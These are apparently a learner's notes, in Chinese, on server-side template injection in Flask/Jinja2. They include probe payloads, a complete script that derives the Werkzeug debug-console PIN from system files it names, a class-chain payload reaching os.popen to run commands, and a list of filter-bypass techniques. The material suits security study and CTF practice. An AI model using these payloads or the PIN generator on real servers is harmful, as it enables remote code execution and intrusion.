SSTI注入笔记

文章目录

基础知识

python的模块引用,优先引用当前目录下的模块,比如from pwn import pwn,如果脚本的名字是pwn.py,会自己引用自己,从而报错

r'a\nbb',原封不动输出,取消转义

匿名函数:lambda表达式,x=lambda a,b:a+b,x(3,3)实现函数调用

flask:python的一个中间件,提供http服务

  • static作为flask默认的静态文件目录,在访问时不会通过路由解析,而是直接通过文件读取
  • flask在进行渲染时(相当于格式化字符串,把想要的内容放进{}中),此时可以解析html代码,也可以通过特殊函数将传入的字符串当作python脚本解析

SSTI

利用条件

  1. 渲染的字符串可控,不被过滤
  2. 利用render_template_string函数参数可控,或者部分可控
  3. render_template 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法
  4. render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析

验证SSTI是否存在

  1. {{2*2}}看是否有计算结果
  2. {{config}}看能不能看到配置项

验证console码

如果服务器开启调试,就可以进入到console界面,输入正确的pin码就可以执行python语,如果有可以进行文件读取的点,就可以拼接出pin码

计算PIN码,需要private_bits 和public_bits

分别需要确定的是:

  1. python运行的脚本名
  2. 固定值 flask.app
  3. 固定值 Flask
  4. 当前脚本运行的绝对路径 可以从报错获取
  5. uuid.getnode
  6. machine_id
c 复制代码
import hashlib
from itertools import chain




def getPIN(public_bits,private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name



if __name__ == "__main__":
    public_bits=[
    'Administrator',
    'flask.app',
    'Flask',
    'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py'
]

    private_bits=[
        '197975952026825','5d744fd6-d3af-4dec-83f4-04043f200c3c'
    ]

    PIN = getPIN(public_bits,private_bits)
    print(PIN)

linux下
getNode读取的文件 /sys/class/net/eth0/address,需要将其转换为十进制
machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 整理后 拼接

SSTI类引用机制

字符串,列表,元组等类型都有自己所属的类,比如字符串,通过"".__class__拿到str类,再通过.__base__拿到object对象,相当于去到二叉树的根节点,通过这个结点可以向下找到其他有用类,比如.__subclass__拿到子类,假如我们已经拿到os类,就可以调用os类的一些方法

init .globals['popen']('calc') 调用os类的popen方法,执行calc参数

过滤的绕过

.被过滤

可将.class替换为['class']

下划线被过滤

set a =(()|select|string|list).pop(24),此时a就是下划线

十六进制\x5f绕过

中括号被过滤

采用.getitem(132)替代中括号

过滤了{{

采用{%绕过

过滤了单引号或者双引号

采用传参绕过

init .globals[request.args.a](request.args.b).read()

过滤了数字

采用字典绕过,构造出1 {{(dict(e=a)|join|count)}},还可以使用全角数字绕过

关键字被过滤

采用拼接法绕过

相关推荐
LuckyLay2 小时前
Golang学习笔记_49——解释器模式
笔记·学习·设计模式·golang·解释器模式
weixin_502539853 小时前
rust学习笔记13-18. 四数之和
笔记·学习·rust
郭涤生6 小时前
在线程间共享数据_第三章_《C++并发编程》笔记
c++·笔记·算法
执念斩长河7 小时前
Go泛型学习笔记
笔记·学习·golang
一条晒干的咸魚8 小时前
【C#学习笔记02】基本元素与数据类型
开发语言·笔记·学习·c#
没学上了8 小时前
Visual stdio2022 opencv cude pytroch与yolov8/可视化工具的环境搭建,不搞VIP,我也要当雷锋
人工智能·笔记·python·opencv·yolo·计算机视觉·yolov8
@卡卡-罗特8 小时前
Swagger笔记
笔记
孤独得猿9 小时前
Qt项目文件解析与注意事项
开发语言·c++·笔记·qt
傍晚冰川10 小时前
【STM32】ADC功能-单通道&多通道(学习笔记)
c语言·笔记·stm32·单片机·嵌入式硬件·学习
yangkei10 小时前
React 学习笔记
笔记·学习·react.js·react